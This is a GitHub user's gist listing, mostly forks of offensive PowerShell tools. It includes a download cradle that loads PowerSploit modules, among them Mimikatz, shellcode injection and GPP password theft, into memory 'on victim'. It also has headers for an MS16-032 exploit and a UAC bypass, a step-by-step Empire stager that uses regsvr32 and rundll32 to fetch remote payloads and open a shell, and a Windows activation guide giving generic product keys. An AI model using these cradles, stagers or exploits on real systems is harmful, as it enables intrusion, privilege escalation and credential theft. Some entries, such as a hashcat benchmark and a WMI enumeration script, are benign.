z3v2cicidi’s gists

z3v2cicidi / windows10activation

Created October 23, 2018 05:00 — forked from amanjuman/windows10activation

Activate Windows 10 without Any Activator

	1. Open CMD as Administrator

	2. Paste the following commands into the Cmd: One by one, follow the order.

	cscript slmgr.vbs /ipk "SERIAL NUMBER HERE"

	Replace SERIAL NUMBER HER with any of these, according your Windows 10 installation type.
	Home/Core TX9XD-98N7V-6WMQ6-BX7FG-H8Q99
	Home/Core (Country Specific) PVMJN-6DFY6-9CCP6-7BKTT-D3WVR
	Home/Core (Single Language) 7HNRX-D7KGG-3K4RQ-4WPJ4-YTDFH

z3v2cicidi / in-memory-downloader.ps1

Created November 1, 2017 02:29 — forked from davehardy20/in-memory-downloader.ps1

	#Most Useful PowerSploit and PowerTools Modules that can be loaded into memory
	# Use this line in PowerShell on victim to pull into memory the modules
	#(New-Object Net.WebClient).DownloadString("https://gist.github.com/davehardy20/a81fb1eaabf2512fce88/raw/0d92460eb8d43183d2ce42e3e7cfa367740426b6/in-memory-downloader.ps1")\|iex
	$downloadcradle = New-Object Net.WebClient
	$modules = @(
	"https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/VolumeShadowCopyTools.

z3v2cicidi / 8x1080.md

Created October 19, 2016 05:54 — forked from epixoip/8x1080.md

8x Nvidia GTX 1080 Hashcat Benchmarks

Product: Sagitta Brutalis 1080 (PN S3480-GTX-1080-2697-128)

Software: Hashcat v3.00-beta-145-g069634a, Nvidia driver 367.18

Accelerator: 8x Nvidia GTX 1080 Founders Edition

z3v2cicidi / MS16-032.ps1

Created August 26, 2016 06:49 — forked from michael-bey/MS16-032.ps1

	function Invoke-MS16-032 {
	<#
	.SYNOPSIS

	PowerShell implementation of MS16-032. The exploit targets all vulnerable
	operating systems that support PowerShell v2+. Credit for the discovery of
	the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
	Modifications by Mike Benich (@benichmt1).

	Targets:

z3v2cicidi / UACBypass.ps1

Created July 27, 2016 03:18 — forked from mattifestation/UACBypass.ps1

	function Invoke-UACBypass {
	<#
	.SYNOPSIS

	Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.

	Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
	License: BSD 3-Clause
	Required Dependencies: None
	Optional Dependencies: None

z3v2cicidi / test

Last active July 11, 2016 13:32

z3v2cicidi / RSAGuts.ps1

Created June 30, 2016 08:48

RSA Algorithm in PowerShell. Just Cause

	<#
	Created By Casey Smith
	@subTee

	RSA in PowerShell.
	Just Cause...

	Reference notes for the curious
	p = 61 <= first prime number (destroy this after computing e and d)
	q = 53 <= second prime number (destroy this after computing e and d)

z3v2cicidi / HOWTO

Created June 30, 2016 06:38

Fileless Empire Stager

	1. Create Empire Listener
	2. Generate Stager
	3. Host Stager Code At Some URL
	4. Host .sct File At Some URL
	5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll
	6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() )
	-Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec();
	7. Wait for Shell...

z3v2cicidi / wmi_provider_association.ps1

Created June 30, 2016 06:32 — forked from mattifestation/wmi_provider_association.ps1

Enumerates WMI providers, the DLLs that back the provider, and the classes hosted by the provider.

	<#
	Author: Matthew Graeber (@mattifestation)
	License: BSD 3-Clause
	#>

	function Get-WmiNamespace {
	[OutputType([String])]
	Param (
	[String]
	[ValidateNotNullOrEmpty()]

z3v2cicidi / getFolderSize.ps1

Created June 8, 2016 15:56 — forked from polarnik/getFolderSize.ps1

powershell

	$fso = New-Object -ComObject scripting.filesystemobject
	$f = $fso.GetFolder("C:\Users\Administrator\")
	$folders = Foreach($folder in $f.SubFolders)
	{
	New-Object -TypeName psobject -Property @{
	name=$folder.path;
	size=$folder.size
	}
	}